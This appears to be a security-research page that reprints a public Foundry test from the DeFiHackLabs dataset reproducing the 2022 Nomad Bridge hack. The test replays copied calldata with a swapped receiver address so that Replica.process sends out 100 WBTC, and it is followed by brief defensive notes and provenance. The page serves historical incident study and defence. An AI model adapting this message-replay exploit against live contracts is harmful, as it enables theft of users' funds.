Public reproduction file
src/test/2022-08/NomadBridge_exp.sol
Public reproduction file for the historical Nomad Bridge incident (2022-08-02). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~152M US$8// Attacker(s) : ☠😈👽🤖🐵🌝🤷♂️9// Replica contract mistakenly initialize : 0x53fd92771d2084a9bf39a6477015ef53b7f116c79d98a21be723d06d79024cad10// Example TXs in this reproduce11// Attacker send 0.01 WBTC to NomadBridge : 0xed26708a7335116bdb0673f32ace7c2f329fe3cd349e200447210f1721f335f012// NomadBridge Process 100 WBTC to Attacker : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a546014// @Info15// Nomad BridgeRouter Contract : https://etherscan.io/address/0x88a69b4e698a4b090df6cf5bd7b2d47325ad30a3#code (Proxy)16// Nomad BridgeRouter Contract : https://etherscan.io/address/0x15fda9f60310d09fea54e3c99d1197dff5107248#code (Logic)17// Nomad Replica Contract : https://etherscan.io/address/0x5d94309e5a0090b165fa4181519701637b6daeba#code (Proxy)18// Nomad Replica Contract : https://etherscan.io/address/0xb92336759618f55bd0f8313bd843604592e27bd8#code (Logic) (Vulnerable!!)19// WBTC Contract : https://etherscan.io/token/0x2260fac5e5542a773aa44fbcfedf7c193bc2c599#code20// NomadBridge Audit Report : https://github.com/nomad-xyz/docs/blob/1ff0c55dba2a842c811468c57793ff9a6542ef0f/docs/public/Nomad-Audit.pdf (QSP-19 Proving With An Empty Leaf)22// @Analysis23// samczsun : https://twitter.com/samczsun/status/155425202472354611224// ParadigmEng420 : https://twitter.com/paradigmeng420/status/155424961057445068825// 0xfoobar : https://twitter.com/0xfoobar/status/155426906265341133426// CertiK : https://twitter.com/CertiKAlert/status/155430508803797811327// Beosin : https://twitter.com/BeosinAlert/status/155430380321808384228// Blocksec : https://twitter.com/BlockSecTeam/status/155433527196498739529// CertiK post-mortem : https://www.certik.com/resources/blog/28fMavD63CpZJOKOjb9DX3-nomad-bridge-exploit-incident-analysis31CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);32IReplica constant Replica = IReplica(0x5D94309E5a0090b165FA4181519701637B6DAEBA);33IERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);35contract Attacker is Test {36 function setUp() public {37 cheat.createSelectFork("mainnet", 15_259_100);38 cheat.label(address(Replica), "Replica");39 cheat.label(address(WBTC), "WBTC");40 }42 function testExploit() public {43 console.log(44 "Attackers can copy the original user's transaction calldata and replacing the receive address with a personal one."45 );46 console.log("We mock how attackers/whitehats replay the calldata at block 15259100\n"); // Txhash : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a546048 emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);49 console.log("Attacker claim 100 WBTC from NomadBridge...");51 // Copy inputdata in txhash(0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), but replacing receive address52 bytes memory msgP1 =53 hex"6265616d000000000000000000000000d3dfd3ede74e0dcebc1aa685e151332857efce2d000013d60065746800000000000000000000000088a69b4e698a4b090df6cf5bd7b2d47325ad30a3006574680000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59903000000000000000000000000";54 bytes memory recvAddr = abi.encodePacked(address(this));55 bytes memory msgP2 =56 hex"00000000000000000000000000000000000000000000000000000002540be400e6e85ded018819209cfb948d074cb65de145734b5b0852e4a5db25cac2b8c39a";57 bytes memory _message = bytes.concat(msgP1, recvAddr, msgP2);59 // This is _message data structure :60 /*61 bytes memory chainId = "beam"; // hex(6265616d) == dec(1650811245), Ref: https://docs.nomad.xyz/developers/environments/domain-chain-ids62 bytes memory sender = hex"D3dfD3eDe74E0DCEBC1AA685e151332857efCe2d";63 bytes memory nonce = hex"13d6"; // == dec"5078"64 bytes memory localDomain = hex"657468"; // == str"eth"65 bytes memory recipientAddress = hex"88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3"; // BridgeRouter address. this will callback BridgeRouter.handle(_message)66 ------------ __message that call BridgeRouter.handle(__message) ------------67 uint32 _domain = 657468; // == str("eth")68 bytes32 _id = abi.encodePacked(address(WBTC));69 bytes32 _to = abi.encodePacked(address(this));70 uint256 _amnt = 100 * 1e8; // 100 WBTC71 bytes32 _detailsHash = keccak256(abi.encodePacked(bytes("Wrapped BTC").length, "Wrapped BTC", bytes("WBTC").length, "WBTC", uint8(8))); 72 bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id);73 bytes29 _action = BridgeMessage.formatTransfer(_to, _amnt, _detailsHash);74 bytes memory __message = BridgeMessage.formatMessage(_tokenId, _action);75 -----------------------------------------------------------------------------76 bytes memory _message = bytes.concat(chainId, sender, nonce, localDomain, recipientAddress, __message);77 */79 bool suc = Replica.process(_message);80 require(suc, "Exploit failed");82 emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);83 }84}86interface IReplica {87 function process(88 bytes memory _message89 ) external returns (bool _success);90}Analysis
What this file is
A public Foundry test from the DeFiHackLabs dataset for the Nomad Bridge incident dated 2022-08-02. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.
How to read it
The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.
Fixes and defensive tests
- Review privileged entry points
- Limit what external coin can be pulled without intent checks
- Pause or migrate when a class of bug is public
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2022-08/ANCH_exp.solSame month in the dataset · 65 lines
- src/test/2022-08/Circle_exp2.solSame month in the dataset · 151 lines
- src/test/2022-08/Circle_exp1.solSame month in the dataset · 150 lines
- src/test/2022-08/DDC_exp.solSame month in the dataset · 86 lines
- src/test/2022-08/EGD_Finance_exp.solSame month in the dataset · 143 lines
- src/test/2022-08/EtnProduct_exp.solSame month in the dataset · 108 lines
- src/test/2022-08/LuckyTiger_exp.solSame month in the dataset · 72 lines
- src/test/2022-08/Qixi_exp.solSame month in the dataset · 32 lines
- src/test/2022-08/ReaperFarm_exp.solSame month in the dataset · 57 lines
- src/test/2022-08/XST_exp.solSame month in the dataset · 76 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- Nomad Bridge
- Path
- src/test/2022-08/NomadBridge_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 79b58cca15abbaf72c6580e95ba620c819a41d0e
- Language
- Solidity
- Size
- 91 lines
- Date
- 2022-08-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-08/NomadBridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 79b58cca15abbaf72c6580e95ba620c819a41d0e, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.